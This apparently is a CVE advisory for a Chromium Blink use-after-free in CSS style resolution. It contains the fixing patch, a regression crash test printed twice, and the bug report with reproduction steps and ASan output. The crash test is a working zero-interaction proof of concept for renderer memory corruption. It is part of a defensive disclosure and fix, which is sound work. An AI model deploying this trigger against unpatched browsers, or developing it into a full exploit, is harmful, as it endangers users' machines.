CVE-2026-106269
Overview
Files Changed
third_party/blink/web_tests/external/wpt/css/selectors/crashtests/chrome-bug-565742178.htmlthird_party/blink/renderer/core/css/element_rule_collector.cc
Patch
From d9c38102d3c99631cc1e0245fbf5d78d8259a90c Mon Sep 17 00:00:00 2001
From: Rune Lillesveen <futhark@chromium.org>
Date: Mon, 28 Sep 2026 02:06:45 -0700
Subject: [PATCH] Don't keep reference to attribute AtomicString during style resolution
Attribute synchronization may change internal attribute storage during
style resolution. Keep a local AtomicString for ShadowPseudoId() instead
of a reference pointing into the internal attribute storage.
Fixes UAF crasher.
Bug: 565742178
Change-Id: I00f0d4fc35594254939ad74a1734c8eda37bd2f2
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8469947
Commit-Queue: Rune Lillesveen <futhark@chromium.org>
Reviewed-by: Morten Stenshorne <mstensho@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1705920}
---
diff --git a/third_party/blink/renderer/core/css/element_rule_collector.cc b/third_party/blink/renderer/core/css/element_rule_collector.cc
index ec82c6b..33ff2c0 100644
--- a/third_party/blink/renderer/core/css/element_rule_collector.cc
+++ b/third_party/blink/renderer/core/css/element_rule_collector.cc
@@ -823,7 +823,7 @@
style_recalc_context_.style_scope_frame, matching_ua_rules_,
matching_rules_from_no_style_sheet_, style_recalc_context_, mode_);
Element& element = *context.context.element;
- const AtomicString& pseudo_id = element.ShadowPseudoId();
+ const AtomicString pseudo_id = element.ShadowPseudoId();
if (!pseudo_id.empty()) {
DCHECK(element.IsStyledElement());
for (const auto bundle : match_request.AllRuleSets()) {
diff --git a/third_party/blink/web_tests/external/wpt/css/selectors/crashtests/chrome-bug-565742178.html b/third_party/blink/web_tests/external/wpt/css/selectors/crashtests/chrome-bug-565742178.html
new file mode 100644
index 0000000..2c1afce2
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/css/selectors/crashtests/chrome-bug-565742178.html
@@ -0,0 +1,29 @@
+<!doctype html>
+<html class="test-wait">
+<title>Chrome 565742178 crash bug</title>
+<link rel="help" href="https://crbug.com/565742178">
+<!-- 1. <use> clones <g pseudo="-webkit-poc" a b c d> (5 attributes) and its child <image> into the
+ <use> element's user-agent shadow root. The cloned <image> cannot decode its data and fires
+ "error"; evt.target is that clone, so E below is the cloned <g> inside the shadow root.
+ 2. E.style.fill = 'red' gives E its own attribute vector (exactly full: 5 entries) plus a dirty,
+ not yet serialized "style" attribute.
+ 3. getComputedStyle(E).fill recalculates E's style: ElementRuleCollector::CollectMatchingRulesInternal
+ keeps `const AtomicString& pseudo_id` pointing into that vector; matching sheet 1's
+ @scope ([style]) prelude serializes E's style attribute and appends it, which reallocates the
+ vector; the ::-webkit-poc lookup for sheet 2 then reads pseudo_id from the freed buffer. -->
+<style>@scope ([style]) { ::-webkit-poc { fill: blue; } }</style>
+<style>::-webkit-poc { stroke: blue; }</style>
+<script>
+ function crash(image) {
+ const g = image.parentNode;
+ if (g.getRootNode() === document) {
+ // ignore the original <image>; only the <use> instance matters
+ return;
+ }
+ g.style.fill = 'red';
+ getComputedStyle(g).fill;
+ document.documentElement.className = "";
+ }
+</script>
+<svg><defs><g id="t"><g pseudo="-webkit-poc" a="1" b="2" c="3" d="4">
+<image href="data:image/png;base64,AAAA" onerror="crash(evt.target)"/></g></g></defs><use href="#t"/></svg>
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/css/selectors/crashtests/chrome-bug-565742178.html b/third_party/blink/web_tests/external/wpt/css/selectors/crashtests/chrome-bug-565742178.html
new file mode 100644
index 0000000..2c1afce2
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/css/selectors/crashtests/chrome-bug-565742178.html
@@ -0,0 +1,29 @@
+<!doctype html>
+<html class="test-wait">
+<title>Chrome 565742178 crash bug</title>
+<link rel="help" href="https://crbug.com/565742178">
+<!-- 1. <use> clones <g pseudo="-webkit-poc" a b c d> (5 attributes) and its child <image> into the
+ <use> element's user-agent shadow root. The cloned <image> cannot decode its data and fires
+ "error"; evt.target is that clone, so E below is the cloned <g> inside the shadow root.
+ 2. E.style.fill = 'red' gives E its own attribute vector (exactly full: 5 entries) plus a dirty,
+ not yet serialized "style" attribute.
+ 3. getComputedStyle(E).fill recalculates E's style: ElementRuleCollector::CollectMatchingRulesInternal
+ keeps `const AtomicString& pseudo_id` pointing into that vector; matching sheet 1's
+ @scope ([style]) prelude serializes E's style attribute and appends it, which reallocates the
+ vector; the ::-webkit-poc lookup for sheet 2 then reads pseudo_id from the freed buffer. -->
+<style>@scope ([style]) { ::-webkit-poc { fill: blue; } }</style>
+<style>::-webkit-poc { stroke: blue; }</style>
+<script>
+ function crash(image) {
+ const g = image.parentNode;
+ if (g.getRootNode() === document) {
+ // ignore the original <image>; only the <use> instance matters
+ return;
+ }
+ g.style.fill = 'red';
+ getComputedStyle(g).fill;
+ document.documentElement.className = "";
+ }
+</script>
+<svg><defs><g id="t"><g pseudo="-webkit-poc" a="1" b="2" c="3" d="4">
+<image href="data:image/png;base64,AAAA" onerror="crash(evt.target)"/></g></g></defs><use href="#t"/></svg>
Original Bug Report
Heap-use-after-free in ElementRuleCollector::CollectMatchingRulesInternal
Summary
CollectMatchingRulesInternal() keeps a const AtomicString& to the element’s shadow pseudo ID, which points into the element’s attribute vector. While rules are matched, an @scope ([style]) prelude serializes the element’s dirty inline style, which appends a style attribute and reallocates that vector. A later lookup reads pseudo_id from the freed buffer. Renderer process, zero interaction.
Environment
- Chrome for Testing 154.0.8037.57 (Stable), 155.0.8059.12 (Beta), 156.0.8072.0 (Canary); code unchanged on main b7c07f35773a
- Ubuntu 24.04, x86-64
- Evidence build: ASan, Chromium 155.0.8038.0
Reproduction
chrome --user-data-dir=/tmp/p --no-first-run poc.html
- Launch with a fresh profile.
- Wait; zero interaction beyond loading the page. The tab shows “Aw, Snap!” within about 1 s.
Rate: Stable 4/4, Beta 3/3, Canary 4/4.
Evidence
Renderer process. Full reports: asan.txt, asan-dcheck.txt (DCHECK build, same bug, no DCHECK fires).
heap-use-after-free READ of size 8, 8 bytes inside 80-byte region
#0 ElementRuleCollector::CollectMatchingRulesInternal<false>
freed: Vector<Attribute>::ReallocateBuffer <- MutableAttributeCollection::Append
<- Element::SynchronizeStyleAttributeInternal <- SelectorChecker::MatchSelector
<- ... <- CollectMatchingRulesInternal<false> element_rule_collector.cc:757
MiraclePtr Status: NOT PROTECTED
Stock builds load a non-canonical value through the stale reference and dereference it.
Vulnerable code (third_party/blink/renderer/core/css/element_rule_collector.cc)
826 const AtomicString& pseudo_id = element.ShadowPseudoId(); [1]
829 for (const auto bundle : match_request.AllRuleSets()) {
830 if (CollectMatchingRulesForList<stop_at_first_match>(
831 bundle.rule_set->UAShadowPseudoElementRules(pseudo_id), [2]
[1] Reference into the attribute vector. [2] Matching an earlier bundle can reallocate that vector, so this reads freed memory. A later loop in the same function already guards against this; pseudo_id predates that guard.
Impact
Any web page, no interaction, permission or flag. Renderer use-after-free. Reporter’s estimate: High (S1).
Discovery and validation
Found by AI-assisted source review and dynamic testing (Claude).
Attachments: poc.html, asan.txt, asan-dcheck.txt, report.md (full write-up)